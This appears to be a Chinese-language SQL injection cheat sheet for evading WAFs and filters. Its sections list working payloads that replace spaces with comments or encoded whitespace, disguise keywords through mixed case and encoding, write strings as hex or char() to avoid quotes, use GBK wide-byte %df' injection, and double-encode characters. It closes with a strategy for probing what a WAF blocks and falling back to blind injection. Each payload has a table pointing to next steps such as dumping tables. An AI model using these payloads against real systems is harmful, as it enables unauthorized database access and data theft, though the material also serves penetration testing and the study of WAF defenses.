绕
绕过 · 被拦就换写法
WAF 与过滤挡的是“写法”,不挡“意义”。
绕过 › 空格
空格过滤绕过 基础
空格不可用,用注释符顶替
WAF 常按空格分词。把空格换成注释符 / 内联注释 / 运算符,语义不变。
空格 → 三种替代
?id=350/**/AND/**/1=1-- - # 内联注释当空格
?id=350%0aAND%0b1=1-- - # 换行/制表等空白
?id=350+AND+1=1-- - # + 在 URL 里是空格
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
/**/ | 内联注释,可当空格 | MySQL 里替换任意空格,几乎通用 |
%0a/%0b | 换行/垂直制表符 | 注入到多行 SQL 时可充当分隔符 |
+ | URL 编码的空格 | 在 query string 里安全 |
绕过 &rquo;
关键字过滤绕过 基础
不让写 SELECT/AND,就拆开叠着写
关键字被过滤时:大小写 → 内联注释拆词 → 近义词替换逐步降级。
关键字三重绕过
?id=350 uNiOn/**/SeLeCt 1,2,3-- - # 大小写+内联注释拆词
?id=350 Se%4cect 1,2,3-- - # URL 编码(部分后端解码后拼)
?id=350 UNION ALL SELECT 1,2,3-- - # 或换表态近义词
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
uNiOn / SeLeCt | 大小写随意 | 只对大小写敏感的后端有用,先试这个 |
uNiOn/**/SeLeCt | 注释拆开关键字 | 等值 != 等义字符串,绕过纯字符串匹配 WAF |
%4c 编码 | 对关键字逐字符编码 | 配合url-decode 一次的后端最好使 |
UNION ALL | 保留字替换 | 把 UNION 换成 UNION ALL 有时能过 |
绕过 › 引号
引号过滤绕过 进阶
不给单引号,用十六进制字符串
单引号被过滤(常见于把 ' 转义/加斜杠)。对付:字符串写作十六进制,或用 char() 现拼。
无引号取串
AND ascii(substr(database(),1,1))=char(115)-- - # 's' = char(115)
union select 1,0x7573657273,3 # hex('users')=0x7573657273
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
database() | 当前所在的库名 | 拿库名 → 进 information_schema 爆表 → 爆列 → 爆值 |
char(115) | 用数字生成字符 | 绕过引号,也防转义 |
0x7573657273 | 字符串的十六进制 | 'users' ↔ 0x7573657273,可直接放进 SELECT |
绕过 ’ 宽字节
宽字节注入 GBK 特供
GBK 编码下用 %df' 吞掉转义斜杠
GBK 里 0xdf 0x5c(\ 即 0x5c)会被当成一个汉字,于是转义斜杠被“吃掉”,引号解放。
宽字节核心
id=1%df' UNION SELECT 1,2,3-- - # %df + 转义\ = 一个汉字,引号活过来了
# 若后端把 \ 加在引号前:%df' → 0xdf0x5c 被 GBK 读成一个字符,转义失效
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
%df | 0xdf 领头的半角字符 | GBK 里与反斜杠 0x5c 组成一个汉字,使转义失效 |
%df' | 半角 + 单引号 | 转义键失效后,单引号成为闭合符 |
绕过 › 编码
编码混淆 进阶
换一种编码“壳”绕过字符串匹配
把关键字/字符串改写成 URL / hex / unicode / 双重编码,让 WAF 的正则对不上。
编码混淆三招
?id=1%2527 AND 1=1-- - # 双重 URL 编码 %27
username=UNION # unicode 转义
?id=1%u0027 AND 1=1-- - # 老 IIS 的 %u 编码
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
%2527 | 双重 URL 编码 | 先解一次成 %27,再解一次成单引号,可骗只解一次的后端 |
\u0055 | unicode 转义 U | 个别后端对 unicode 转义解码后再拼 SQL |
%u0027 | %u 宽编码(老 IIS) | 兼容老环境,新栈少见 |
绕过 › WAF
WAF 判断与规避 策略
先知道它拦什么,再决定怎么绕
面对 WAF:探测拆分判断拦截项 → 换一条语义相同的路子 → 绕不过就降级盲注。
分点探测拦截项
id=1' # 看是否整体拦截逻辑
id=1 AND 1=1 # 拆测关键字 AND
id=1 UNION SELECT 1,2 # 拆测 UNION
扛不住就换信道
降级三连
UNION 被拦 → 报错 → 布尔 → 时间;只要没断网,永远有一条路。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
分点探测 | 一次只测一个关键字 | 像二进制扫描一样定位 WAF 拦谁 |
移除大小写/注释 | 把弦完全摊平 | 确认是不是“纯字符串匹配”型 WAF |
更换信道 | 回显→报错→布尔→时间 | WAF 拦语句面广,通常拦不住盲注的 IF/ASCII |